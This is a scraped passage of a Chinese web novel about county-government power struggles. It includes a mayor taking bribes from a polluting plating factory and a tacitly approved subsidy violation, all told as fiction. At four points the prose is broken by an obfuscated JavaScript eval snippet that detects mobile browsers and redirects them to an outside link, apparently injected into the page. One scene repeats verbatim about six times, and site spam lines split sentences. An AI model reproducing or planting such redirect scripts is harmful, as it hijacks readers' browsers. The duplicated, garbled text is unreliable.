没监管,只要不污染水资源,随你怎么折腾都行。” 陈红旗抬手拍了拍马军元的肩膀,笑道:“你也不想被李承盯着不放吧。” 马军元的电镀是重污染,一旦污染的水资源,下面村子就要受灾,会影响村民健康,出现群体性事件。 陈红旗不在乎生态被污染,只要别搞出群体性事件就行。 “嗯那就听您的。” 马军元沉思了几秒,点头答应。 只要能生产开工,运输成本增加,他也可以接受。 他也不想招惹李承。 更明白,在产业园区发展,陈红旗也保不住他的正常运转。 “呵呵呵对嘛,我也是为你好。” 陈红旗满意的点了点头,这时,鱼漂动了,他连忙抓住鱼竿,收线:“老马,我这鱼上钩了,你那玉牌也别忘了。” 周一例会,九点半准时召开。 还是熟悉的配方,熟悉的流程。 先是传达上级精神,再做上周工作复盘,各位主管干部汇报工作。 “上周,我们管委会的工作重点主要在招商,我和李县长去南陵跑了多家企业” 林青 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364227|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 作为副县长,兼任管委会党工委书记,她将上周的招商情况做出汇报。 “除招商之外,管委会目前遇到的主要问题是财政吃紧,刘家村,杏树村,南店村的道路补偿款迟迟不到位,导致修路暂缓。” 林青在汇报完招商问题后,转移到修路的难题上。 给村民的修路补偿被调剂去解决‘三保’问题,这笔款已经被推迟数月。 林青要趁着周一例会,进行催促。 “各村问题不是已经协调好了吗?可以先开工,后补偿。”陈红旗问。 协调各村修路,是他亲自下达的命令。 “确实, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 村民们的反对声音少了很多,但刘家村上次聚众阻碍施工,坐地起价的事件还历历在目。 没签署协议之前,我们不敢赌还会不会有类似的情况发生。”林青说。 闻言,陈红旗眼睛一转,目光看向了常务副县长崔学文。 看到他的目光转移,李承猜到对方想做些什么了! 陈红旗是迫不及待地找茬泄愤了! “常务,省里对产业园区第三批次的专项扶持资金,申报材料报上去这么久,怎么到现在还没批下来?”陈红旗冷声问。 “还在走流程,省里不像咱们县城,流程繁琐。”崔学文眉头微微皱起,找个借口敷衍道。 ‘砰!’ 回应崔学文的,是陈红旗重重的一拍桌子! “你到底有没有去跑对接呀?天天坐在办公室里等,你能等得起,产业园区的发展能等得起吗? 我一再强调,产业园区的发展是全县重点工作,是第一位,你就是这么落实的吗? 咱们是要钱的,要钱的不主动去催,你还等着掏钱的主动给你呀。 最迟明天,你必须给我,给李县长一个明确的批复时间节点!” 这就叫,欲加之罪,何患无辞。 作为县长,想要批评常务副县长,随便找个借口就能在大会上,当着众人面训斥一番! 听到陈红旗的训斥,李承眉头也皱了起来,心中暗道:陈红旗这老小子,又给我扯了进来! 第378章 立场会议 陈红旗最后那句话,特意点名了李承,却没有提到兼任党工委书记的林青,这是故意的。 目的,是向崔学文传达一种立场。 表明,他和李承已经达成了某种共识,关系很近。 会议上,各局的局长,几位副县长,包括林青在内,都不懂他的言下之意。 但作为局内人的李承非常清楚,陈红旗这是急着拉自己站队。 李承目光也不自觉的看向崔学文,此时,崔学文的目光也在看他。 眼神冰冷。 陈红旗的刻薄训斥,就让他觉得很奇怪。 两人虽因‘不记名投票’一事加深矛盾,却还没有到当众训斥的程度。 毕竟,同为本地派,心不合,面上要合。 而这次,陈红旗基本是撕下了最后一层窗户纸。 直到陈红旗特意点名李承时,崔学文察觉到了不对劲,他不敢确定,心里却也猜忌起来。 四目相对,李承没有做出任何的表情,就那样平静的看着崔学文。 可他的心里,有些不是滋味。 在他看来,崔学文在林青的人事任免上,帮过他。 而他找崔学文拉票时,也暗示会支持崔学文当县长,可如今,他的行为已然背刺了当初约定。 没办法,官斗向来如此。 “你看他做什么?我在问你话!” 陈红旗打断了两人的眼神交锋,再次拍了拍桌子。 “嗯,会议结束我就去催。”崔学文收回目光,点了下头。 陈红旗也没继续咄咄逼人。 他将目光看向李承和林青:“这次会议,我要重点表扬两位同志,就是李承县长和林青县长。 他们在招商上,亲自带领团队去南陵谈企业,这份肯下一线的精神和执行力,是在座每一位同志都要学习的。 尤其是李县长,为了谈招商,早出晚归,有时候连饭都顾不得吃。 有这两位优秀同志负责产业园区的发展,我相信,我们县,未来一定能成为工业大县,脱贫致富!” 看似表扬之下,实际上,暗藏玄机。 陈红旗这是要通过会议态度,来彻底断绝李承和崔学文的关联! 会议开到了将近十一点才结束。 “李县长,你留一下。” 陈红旗宣布散会后,将李承留了下来。 “陈县长。” 李承坐到陈红旗旁边的椅子上,等待对方开口。 “关于恒达电镀厂的问 题,我已经跟他们马总协调好了,唉.不容易呀。 你也知道,咱们县的财政压力很大,根本没有资金去毁约补偿。 而且,他们是县里招来的第一家企业,就这么毁约了,其他企业也会多想,不利于你们招商。” 陈红旗摆出一副顾全大局的样子,说:“为了最大程度的降低损失,我整个周末都在跟他磨嘴皮子,好说歹说,对方才同意了。” “那最后谈的什么条件?”李承问。 既不解约,又让厂子搬走,这总要有一个条件。 商人看重的是利字。 无利,就算陈红旗有三寸不烂之舌,也没用。 “是这样,我答应等到园区建设后,如果有合适企业选中他的位置,让他自行对接,我们配合变更。 也没办法,人家投了这么多钱进来,不给他找补找补,他们也不能同意。” 陈红旗说。 这种行为就属于空壳公司套补贴,套土地,是不允许的违规操作。 可相比于赔偿,这种违规操作更合适。 “你是县长,这些你定就好。” 李承没有表示同意,也没有表示拒绝。 涉及违规,李承还是要撇清关系的。 但一些按照规矩办事,往往会引发更大的麻烦,所以,他默许了这种做法。 规矩是死的,人是活的,这种事可以特事特办。 “那行,就这么定。” 陈红旗微微一笑,说:“估计恒达已经开始动工了,李县长不放心的话,可以去视察。” “陈县长办事我当然放心,这件事让你费心了。”李承客气了一句。 “谈不上费心,给你们做好保障,是我的职责所在。” 陈红旗摆了摆手,一副‘好官’之态。 他满嘴的仁义道德,可背地里,在这件事上又收了马军元近百万的好处。 离开会议室。 林青正在走廊等待李承。 他们两个人都是从管委会来县政府参加的会议,为了节约公务资源,坐了一台车。 “陈县长今天的态度大反转呀,不知道他又在抽什么风。”林青与李承并肩下楼,低声向李承吐糟。 “以后产业园区的发展,他不会再多干涉。”李承平静的说。 “嗯。” 林青知道,这背后有李承和陈红旗的私下交涉。 对此,她不会多问。 有些事她该知道,有些事,她不该知情。 对于那些不该知情的,她不会问。 汽车开往产业园区的方向,李承对朱师傅吩咐:“朱师傅,去一趟恒达电镀厂。” 陈红旗说恒达已经准备搬迁,他不是信不过,但还是要眼见为实。 正好临近中午下班,也没有其他事情要做。 “好的,李县长。” 朱师傅进入园区内部后,改变方向。 两分钟后,汽车抵达恒达电镀厂。 原本的厂房建设,此刻已经停工。 一群工人正在拆卸‘恒达精密电镀公司’的牌匾。 “这怎么回事?” 林青看到这一幕,有些蒙。 对于恒达要搬走的消息,她还没有耳闻。 “恒达的问题已经解决了,这一隐患,不会再出现在园区之中。” 李承站在车旁,眺望着远处的施工,点燃一根香烟。 “陈县长这么快就妥协了?”林青有些不可思议。 “嗯。” “李主任,厉害。” 林青偏过头,看着李承俊朗的侧脸,眼神复杂。 有对清除恒达的喜悦,有对李承的崇拜和敬畏,还有一种说不清,道不明的情愫. 再坚强的女人,也会想要一个依靠。 在李承身上,她感受到了前所未有的安全感。 李承总是能在,她认为很难解决的麻烦和困境中,轻松化解。 而且,不需要她付出什么。 这种托底的安全感,让她认为,只要跟在李承身旁,就没有解决不了的难题! 对于那些不该知情的,她不会问。 汽车开往产业园区的方向,李承对朱师傅吩咐:“朱师傅,去一趟恒达电镀厂。” 陈红旗说恒达已经准备搬迁,他不是信不过,但还是要眼见为实。 正好临近中午下班,也没有其他事情要做。 “好的,李县长。” 朱师傅进入园区内部后,改变方向。 两分钟后,汽车抵达恒达电镀厂。 原本的厂房建设,此刻已经停工。 一群工人正在拆卸‘恒达精密电镀公司’的牌匾。 “这怎么回事?” 林青看到这一幕,有些蒙。 对于恒达要搬走的消息,她还没有耳闻。 “恒达的问题已经解决了,这一隐患,不会再出现在园区之中。” 李承站在车旁,眺望着远处的施工,点燃一根香烟。 “陈县长这么快就妥协了?”林青有些不可思议。 “嗯。” “李主任,厉害。” 林青偏过头,看着李承俊朗的侧脸,眼神复杂。 有对清除恒达的喜悦,有对李承的崇拜和敬畏,还有一种说不清,道不明的情愫. 再坚强的女人,也会想要一个依靠。 在李承身上,她感受到了前所未有的安全感。 李承总是能在,她认为很难解决的麻烦和困境中,轻松化解。 而且,不需要她付出什么。 这种托底的安全感,让她认为,只要跟在李承身旁,就没有解决不了的难题! 对于那些不该知情的,她不会问。 汽车开往产业园区的方向,李承对朱师傅吩咐:“朱师傅,去一趟恒达电镀厂。” 陈红旗说恒达已经准备搬迁,他不是信不过,但还是要眼见为实。 正好临近中午下班,也没有其他事情要做。 “好的,李县长。” 朱师傅进入园区内部后,改变方向。 两分钟后,汽车抵达恒达电镀厂。 原本的厂房建设,此刻已经停工。 一群工人正在拆卸‘恒达精密电镀公司’的牌匾。 “这怎么回事?” 林青看到这一幕,有些蒙。 对于恒达要搬走的消息,她还没有耳闻。 “恒达的问题已经解决了,这一隐患,不会再出现在园区之中。” 李承站在车旁,眺望着远处的施工,点燃一根香烟。 “陈县长这么快就妥协了?”林青有些不可思议。 “嗯。” “李主任,厉害。” 林青偏过头,看着李承俊朗的侧脸,眼神复杂。 有对清除恒达的喜悦,有对李承的崇拜和敬畏,还有一种说不清,道不明的情愫. 再坚强的女人,也会想要一个依靠。 在李承身上,她感受到了前所未有的安全感。 李承总是能在,她认为很难解决的麻烦和困境中,轻松化解。 而且,不需要她付出什么。 这种托底的安全感,让她认为,只要跟在李承身旁,就没有解决不了的难题! 对于那些不该知情的,她不会问。 汽车开往产业园区的方向,李承对朱师傅吩咐:“朱师傅,去一趟恒达电镀厂。” 陈红旗说恒达已经准备搬迁,他不是信不过,但还是要眼见为实。 正好临近中午下班,也没有其他事情要做。 “好的,李县长。” 朱师傅进入园区内部后,改变方向。 两分钟后,汽车抵达恒达电镀厂。 原本的厂房建设,此刻已经停工。 一群工人正在拆卸‘恒达精密电镀公司’的牌匾。 “这怎么回事?” 林青看到这一幕,有些蒙。 对于恒达要搬走的消息,她还没有耳闻。 “恒达的问题已经解决了,这一隐患,不会再出现在园区之中。” 李承站在车旁,眺望着远处的施工,点燃一根香烟。 “陈县长这么快就妥协了?”林青有些不可思议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17364228|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 “嗯。” “李主任,厉害。” 林青偏过头,看着李承俊朗的侧脸,眼神复杂。 有对清除恒达的喜悦,有对李承的崇拜和敬畏,还有一种说不清,道不明的情愫. 再坚强的女人,也会想要一个依靠。 在李承身上,她感受到了前所未有的安全感。 李承总是能在,她认为很难解决的麻烦和困境中,轻松化解。 而且,不需要她付出什么。 这种托底的安全感,让她认为,只要跟在李承身旁,就没有解决不了的难题! 对于那些不该知情的,她不会问。 汽车开往产业园区的方向,李承对朱师傅吩咐:“朱师傅,去一趟恒达电镀厂。” 陈红旗说恒达已经准备搬迁,他不是信不过,但还是要眼见为实。 正好临近中午下班,也没有其他事情要做。 “好的,李县长。” 朱师傅进入园区内部后,改变方向。 两分钟后,汽车抵达恒达电镀厂。 原本的厂房建设,此刻已经停工。 一群工人正在拆卸‘恒达精密电镀公司’的牌匾。 “这怎么回事?” 林青看到这一幕,有些蒙。 对于恒达要搬走的消息,她还没有耳闻。 “恒达的问题已经解决了,这一隐患,不会再出现在园区之中。” 李承站在车旁,眺望着远处的施工,点燃一根香烟。 “陈县长这么快就妥协了?”林青有些不可思议。 “嗯。” “李主任,厉害。” 林青偏过头,看着李承俊朗的侧脸,眼神复杂。 有对清除恒达的喜悦,有对李承的崇拜和敬畏,还有一种说不清,道不明的情愫. 再坚强的女人,也会想要一个依靠。 在李承身上,她感受到了前所未有的安全感。 李承总是能在,她认为很难解决的麻烦和困境中,轻松化解。 而且,不需要她付出什么。 这种托底的安全感,让她认为,只要跟在李承身旁,就没有解决不了的难题! 对于那些不该知情的,她不会问。 汽车开往产业园区的方向,李承对朱师傅吩咐:“朱师傅,去一趟恒达电镀厂。” 陈红旗说恒达已经准备搬迁,他不是信不过,但还是要眼见为实。 正好临近中午下班,也没有其他事情要做。 “好的,李县长。” 朱师傅进入园区内部后,改变方向。 两分钟后,汽车抵达恒达电镀厂。 原本的厂房建设,此刻已经停工。 一群工人正在拆卸‘恒达精密电镀公司’的牌匾。 “这怎么回事?” 林青看到这一幕,有些蒙。 对于恒达要搬走的消息,她还没有耳闻。 “恒达的问题已经解决了,这一隐患,不会再出现在园区之中。” 李承站在车旁,眺望着远处的施工,点燃一根香烟。 “陈县长这么快就妥协了?”林青有些不可思议。 “嗯。” “李主任,厉害。” 林青偏过头,看着李承俊朗的侧脸,眼神复杂。 有对清除恒达的喜悦,有对李承的崇拜和敬畏,还有一种说不清,道不明的情愫. 再坚强的女人,也会想要一个依靠。 在李承身上,她感受到了前所未有的安全感。 李承总是能在,她认为很难解决的麻烦和困境中,轻松化解。 而且,不需要她付出什么。 这种托底的安全感,让她认为,只要跟在李承身旁,就没有解决不了的难题! 对于那些不该知情的,她不会问。 汽车开往产业园区的方向,李承对朱师傅吩咐:“朱师傅,去一趟恒达电镀厂。” 陈红旗说恒达已经准备搬迁,他不是信不过,但还是要眼见为实。 正好临近中午下班,也没有其他事情要做。 “好的,李县长。” 朱师傅进入园区内部后,改变方向。 两分钟后,汽车抵达恒达电镀厂。 原本的厂房建设,此刻已经停工。 一群工人正在拆卸‘恒达精密电镀公司’的牌匾。 “这怎么回事?” 林青看到这一幕,有些蒙。 对于恒达要搬走的消息,她还没有耳闻。 “恒达的问题已经解决了,这一隐患,不会再出现在园区之中。” 李承站在车旁,眺望着远处的施工,点燃一根香烟。 “陈县长这么快就妥协了?”林青有些不可思议。 “嗯。” “李主任,厉害。” 林青偏过头,看着李承俊朗的侧脸,眼神复杂。 有对清除恒达的喜悦,有对李承的崇拜和敬畏,还有一种说不清,道不明的情愫. 再坚强的女人,也会想要一个依靠。 在李承身上,她感受到了前所未有的安全感。 李承总是能在,她认为很难解决的麻烦和困境中,轻松化解。 而且,不需要她付出什么。 这种托底的安全感,让她认为,只要跟在李承身旁,就没有解决不了的难题! 第379章 给戚瑶立威 管委会有食堂。 以往李承都会在食堂对付一顿,但自从许梦到了风林县。 一日三餐,李承都会回家。 许梦一个人在这个异乡,除了李承外,她甚至连个说话唠嗑的朋友都没有。 所以,李承要尽最大可能,抽出空闲时间去陪她。 这不是许梦要求的,而是李承要做的。 爱一个人,就要为对方考虑。 当然,许梦知道李承要回家吃饭,也知道李承不习惯在非办公时间,动用公务资源。 她会主动开着车来接李承。 李承与林青视察完恒达精密电镀厂,回到管委会办公楼时,许梦的高尔夫已经停在门口。 “等久了吧? 李承下了车,看到许梦正站在道路上等待她,笑着问。 “我也刚到,掐着你下班点来的。许梦温柔的说。 “李主任,你女朋友真漂亮。 林青看着年轻貌美的许梦,不禁被她的美貌惊艳。 她知道李承的女朋友着省电视台知名主持人,但电视机里的视觉冲击力,远不如现实见面。 许梦比电视机里更美。 “不漂亮,能配得上我这个帅哥吗? 李承玩笑了一句,向许梦做出介绍:“梦梦,这位就是我常跟你提起的林青,林县长。 “林县长,早就听李承提过您,他说您是女中豪杰,现代穆桂英,我也早想跟您认识。 许梦温柔的向林青打招呼。 “李县长过度美化我了,我可没有那本事。 林青淡淡一笑,说:“你们快回去吧,太阳挺晒的。 “嗯,好。 许梦点了点头,相互告辞后,李承两人上了车。 林青站在办公楼下,看着汽车远去,她心情变得更加复杂:‘郎才女貌,他们两个真般配。’ 吃过午饭,李承在家里躺了一会儿才去上班。 到达管委会,李承先去工地视察了一番情况,工地质量有汪莱的严格把关,确实得到了很大的提升。 总体视察下来,李承对汪莱的工作态度很满意。 回到办公室。 李承看到赵兵正站在门口等待,手里提着一个公文包。 “李县长。 见李承回来,他堆积着笑脸,殷勤地打着招呼。 “嗯。 李承用鼻音应了一声,拿出钥匙打开了办公室的门,对戚瑶吩咐:“戚瑶,你去通 听说看这本书的人都是很幸运的,分享后你的运气会更棒 知一下各个招商小组的组长,让他们到二楼会议室等我。 成立的七个招商小组,自然就要有组长。 没有领导者,没有组织力,那就是一盘散沙。 “好的县长。 戚瑶恭敬地答应,转身离去。 李承推开办公室的门,径直走向办公桌,这期间并没有向赵兵发出任何邀请。 赵兵有些尴尬,但为了工作开展,他只能厚着脸皮跟在李承后面。 “李县长,按照您的要求,我们已经全部整改,全部都是最规范的格式。 赵兵拉开公文包,将批款资料拿了出来,双手放在李承的办公桌上。 正常而言,他不需要亲自来。 主要服务和对接李承工作的,是办公室副主任何林。 而赵兵主动过来,是想跟李承缓和关系。 因为尾款迟迟没结下来,李承迟迟不签字,他已经被陈红旗骂过几次。 就在今天上午,陈红旗还骂过他不长脑子,因为一个联络员的安排问题,去跟李承作对。 可跟李承作对是陈红旗默许的,赵兵有苦难言,却也不敢反驳。 “嗯,放在这里吧。李承敷衍道。 “李县长,之前跟您意见不合发生的不愉快,是我不对,我向您道歉,希望您能不计前嫌。 赵兵站在李承的面前,态度谦卑。 这比上次陈红旗强制让他道歉时,要真诚很多。 “嗯。 李承只是应了一声,没有过多理睬:“没其他事的话,你回去吧,我还有会要开。 “李县长,关于这份审批手续,陈县长已经催了很多次,您看.赵兵试探的说。 “着急的话,你就在这里等着,等我开完会的。李承说。 他和陈红旗的关系不同了。 在恒达电镀厂上,陈红旗的效率很高,对他的工作很支持。 冲这一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367859|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点,李承也不准备继续卡着这笔款。 “好,那我等您。赵兵笑着点头。 “这份资料你先拿给戚瑶,让她先审一遍,她审过了,我就签字,审不过,你就加班去改,别耽误了结款。 李承对赵兵吩咐。 李承这么说,是在给戚瑶树立形象。 他在告诉赵兵,戚瑶是他李承的人,不可能随便被他欺负拿捏。 不仅要对他恭敬,也要对他的联络员友善。 不然的话,尽管戚瑶属于赵兵的下级,也同样有权力‘卡’ 听说看这本书的人都是很幸运的,分享后你的运气会更棒 赵兵的工作。 “好,我知道。”赵兵答应。 李承出了办公室,锁上门,他前往了二楼会议室。 赵兵仍站在走廊,等着戚瑶的回来。 到达二楼会议室,戚瑶见到李承,主动问好:“县长。” “嗯,人都到齐了吗?”李承随口问她。 “到齐了。”戚瑶回应。 “今天会议你不需要记录,回办公室吧,赵兵等着你给他审资料呢。”李承说。 “好的县长。” 戚瑶离开,并关上了会议室的门。 “既然人都到齐了,现在开会。” 李承坐在中间主位上,目光扫过两侧每一位人员的脸,说:“今天的会议,主要讲以下几点。 第一,你们作为招商小组的组长,要有领导意识和责任意识,在面向企业时,你们的一言一行都代表着县里的形象.” 会议的开场,李承主要围绕领导意识,责任意识,以及思想明确,进行了叮嘱。 “第二,你们要有明确的目标,管委会给你们分配的名单,是总体目标,你们组内要明确到日内目标。 但也要有分寸,切勿因为急着跑项目,而忽视了谈判质量,给企业留下不好的印象。 更不可以出现放企业鸽子的情况” 第二点,李承给所有小组进行了压任务,但任务要保质保量的完成,这才是重点。 “第三点,也是最重要的一点,要严格遵守纪律,严禁收受贿赂,大吃大喝。 不许乱承诺,乱拍板,更不能虚报信息.” 第380章 签字审批 这场会议,开了一个小时。 主要内容,是以培训为辅,强调为主。 出了会议室,徐淼快步追上李承的步伐:“李主任,我还有一点疑问,想跟您请教一下。 “你说。 李承停下脚步,对于徐淼,他的印象很深。 上次在培训大会上,主动积极回答问题,回答的也颇为让李承满意。 徐淼能当上小组组长,也是得到李承的提拔。 “如果企业对我们风林县的意向很高,但是,我们的政策不及他们预期,只要稍微放宽政策,他们就能签约,这种情况怎么办? 徐淼一双明亮的大眼睛,一眨不眨地看着李承。 “这种,在实践中很常见,要分情况,先去洞察他们的态度。 很多企业,他们已经做好了签约的准备,只是想在最后进行争取更大优惠,这种情况下,就要保持统一政策。 还有一部分企业,他没有太大的签约意向,只是想试探我们的底线,也要保持统一政策。 除此之外,还有分企业规模,对于小规模企业,不能破例。 李承想了想,对徐淼指点一番:“总而言之,更大的优惠能给,要分情况给,分企业给。 你们不能给,只有请示后经过批准才能给。 但这个请示,也不能随随便便的请示,要重点分析,重点决策。 对于这种事情,不是三言两语就能说清楚的。 好在,徐淼的悟性不错。 “哦我大概明白了。 徐淼沉吟了两秒,说:“那我在谈判过程中,就明确政策统一,若是几轮谈判还僵持不下,我再跟您汇报,您看可以吗? “可以。李承点头。 “李主任,我经验不足,这次出去招商心里还是有点没底,到时候还要多跟您请教。 徐淼抱着虚心学习的态度,温柔的说。 她是一个有上进心的人,也有一定的小聪明。 她知道,只有在领导面前多露脸,多展示,才能有更大的晋升机会。 “嗯。 开完小组会议,李承又赶去开了一场县委常委会议。 回到办公室,已经是下午五点。 赵兵一直没有走,就在戚瑶的秘书间里等李承回来。 等待,是他向李承表达的一种诚意。 见李承回来,戚瑶和赵兵一同跟着进了办公室。 “县长,这些资料我看过了,没有问题,您 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 再看一眼。”戚瑶将结款审批资料放在李承面前,说。 戚瑶跟随李承这些天,也学到了不少的经验,长了心眼。 在审阅资料时,她给李承发过消息,询问李承是否要继续挑问题,卡审批。 在得到李承的回应后,她才没有着重挑问题。 只是确定了内容。 “确定没问题?不是赵主任给你施压,威胁你,你妥协了吧,哈哈哈” 李承接过资料,开了一个玩笑。 这句玩笑是说给赵兵听的。 “戚瑶是您的联络员,我哪敢欺负她呀,呵呵呵”赵兵挠了挠头,尴尬的回应着。 李承没有再去看具体内容,对于戚瑶的工作,他放心。 而且,这些资料李承早就看过,也没必要再核实一遍。 拿起笔,李承在上面签了字,推到桌子边:“赵主任,你可以回去交差了。” “谢谢李县长。” 赵兵拿起资料,悬着的心,终于放下了。 赵兵离开后,李承点燃了一根香烟,问戚瑶:“他对你的态度,怎么样?” “罕见的好,都让我有些意外。”戚瑶说。 往常她见到赵兵,对方总是一副牛哄哄的样子。 这一次,却完全换了一副姿态。 对待她,如同对待领导一般客气。 “嗯。” 闻言,李承这才满意,他认真叮嘱戚瑶:“记住,你是我的联络员,走到哪里不能丢了我的脸面。 有任何人欺负你,刁难你,第一时间跟我讲。” “好,知道了县长。” 戚瑶重重一点头,这种被保护的感觉,让她很感动。 她知道,赵兵对她态度的好转,是李承施压下的结果! ‘我的爱如潮水,爱如潮水将我向你推.’ 这时,李承的手机响了起来。 他看了一眼来电显示:崔学文。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17367860|196294||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 该来的,终究是躲不过去。 早上陈红旗在会议上的态度,基本是明着告诉对方,李承已经向他靠拢。 崔学文不来质问他,那才是奇怪。 “喂,崔常务。” 李承接通电话,语气温和,仿佛什么事情都没发生过一般。 “李县长,晚上有时间吗?一起再喝点。” 崔学文一整天,都在压制着心中的怒火,他要跟李承问个清楚。 “不喝了,晚上还有其他安排。”李承婉拒了崔学文。 两 听说看这本书的人都是很幸运的,分享后你的运气会更棒 人之间,已经没有什么再坐下聊的必要。 左右逢源? 已经不适合了。 现在这种情况,再去左右逢源,那是就愚蠢! 不仅两边都讨不到好,反而,还会两头得罪。 既然做出选择,那就势必要舍弃一方,跟崔学文保持好距离。 “那下班之前,你回一趟县政府,有些话我想跟你单独聊一聊。”崔学文说。 “电话里聊吧,我这边还有公务,暂时还走不开。”李承再次婉拒了他。 他们两个人之间,除了公务之外,目前已经没什么好聊的了。 崔学文已经确定了李承和陈红旗之间的私下联系,李承也就没有装下去的必要。 他也不怕得罪崔学文。 在官场上,没有永恒的敌人,只有永恒的利益。 当初李承和陈红旗也是敌人,闹到不可开交的敌人,可在同一利益下,两个人如今成为了‘朋友’。 如果有一天,崔学文和李承有共同利益,他们还会成为‘朋友’。 当然,若是崔学文和陈红旗达成了某种共识,他们也会重新抱团。 在官斗中,没有什么敌友之分! “你私下里,跟陈红旗来往了?”崔学文那边沉默了两秒,问。 “聊点些工作上的事情。”李承说。 “之前你答应我的呢?”崔学文沉声道。 “什么?” 李承疑惑反问。 口头答应的,随时都可以推翻。 何况,李承也没有口头承诺过他什么,都是暗示和默认。 第381章 搭班子 “李承,你这么做,是不是不太仁义呀,当初林青的人事任免,是你主动找的我。 没有我帮你,你们内部会得到稳定吗?”崔学文冷声道。 他没有投林青的票,他也不知道,是曹海涛,还是辛磊给林青投的票。 但是,他发现,所有人都认为那张票是他投的,包括李承在内。 所以,他也主动认下了这张票。 甚至还在大言不惭的,拿这张票说事,去道德绑架。 “常务,我和陈县长达成的共识,似乎不影响你吧?”李承淡淡的说。 被崔学文拿票选的事情‘绑架’,李承心里有些不是滋味。 他算是政治新人,关于政治斗争,他跟孟良德学到了很多,却还是第一次投入到实践中去。 道理他都懂,选择他也会去做,只是内心那关,还需要磨炼。 对于这种‘道德绑架’的方式,李承只能用较为苍白的方式反驳。 不会影响到崔学文吗? 答案是肯定会影响。 只不过,影响的层面,是斗争的层面。 在工作开展上,李承跟陈红旗达成的,是管委会和县政府的决策性统一问题。 不影响崔学文的正常工作开展。 “好,好。” 崔学文原本以为可以利用李承,没想到最终落得这种结果,他很愤怒,也很失望。 丢下这两声‘好’字,崔学文挂断了电话。 吃过晚饭。 李承跟许梦到江边夜跑。 只有没有应酬,两个人基本每天都会去跑跑步,加强一下身体素质。 跑完三公里,两个人沿着江边慢走,李承给许梦递上水:“今天怎么了?晚上就感觉你情绪不高。” 许梦小口小口的分了几次咽下水后,将水瓶还给李承:“没什么。” “现在有事情,还要瞒着我吗?”李承也喝了口水,拧上瓶盖。 “感觉你每天已经很累了,不想给你添烦恼。”许梦说。 “说说看。” “下午我妈又给我打电话了,说我不应该辞职,丢了那么好的工作,训了我一顿。” 许梦叹了一口气,她每天在家闲着,也很焦虑。 辞去了主持人的工作,没有了固定收入和社保。 甚至连短视频的素材都没有。 本就低落的心情,再加上家人给的压力,让她非常烦躁。 “你会不会有一天不要我?”许梦看向李承,认真 的问。 她妈妈是为了她好,可说的话,却不太好听。 说什么女人要自立,不然,一旦被男人抛弃了,就什么都没有了。 尤其是许梦和李承还没有结婚,更不应该为了李承放弃自己的工作等等. “不会。” 李承坚定的回答后,又开了句玩笑:“你看我像傻瓜吗?这么好的老婆,我不要,拱手让人呀?” “哼,算你会说话。” 许梦轻哼了一声,脸上有了些许笑意。 “你呀,不用太焦虑,既然已经辞职了,就好好想一下短视频素材。 不破不立嘛,说不定辞去了这个工作,对你来说是一个转机。”李承宽慰道。 “别提短视频了,我到现在一个素材都没有,粉丝都掉好几千了。” 提到短视频,许梦脸上的笑容,却收敛了回去。 方向已经有了,但找素材却没那么容易。 这几天她也到处去收集素材,可她一个小姑娘家家,孤身一人,又是外地人,没那么容易迈出第一步。 理想很丰满,现实很骨感。 有方向,不代表就能落实。 一个人想要完成一个团队的努力,不容易。 “是没有找到合适的素材吗?”李承问。 “嗯,没有合适的素材,也没有人帮我,我一个人去,都不好意思去沟通。” 许梦说出自己的困境。 “素材的话.你可以去县政府门口试试。”李承思索了一下,说。 “去那干什么?”许梦费解。 “那里经常有上访户,这些人,或许有一部分可以成为你的素材。”李承说。 自从到了风林县,李承发现,这个县城有一个现象。 老百姓上访,基本不去信访局,而是选择堵在县委县政府的大院门口。 对此,李承还问过当时的联络员刘婷,了解到了具体情况。 起因是信访局不作为,后续百姓通过去县政府大院堵大门,才得以解决问题。 县城本来就不大,消息流通的很快。 渐渐的,在百姓心里对信访局的概念就少了很多,他们一致认为,想解决问题就去堵门。 堵了门,就有人给他们解决问题。 而且,这种贫困县城,百姓的生活水平不是很高。 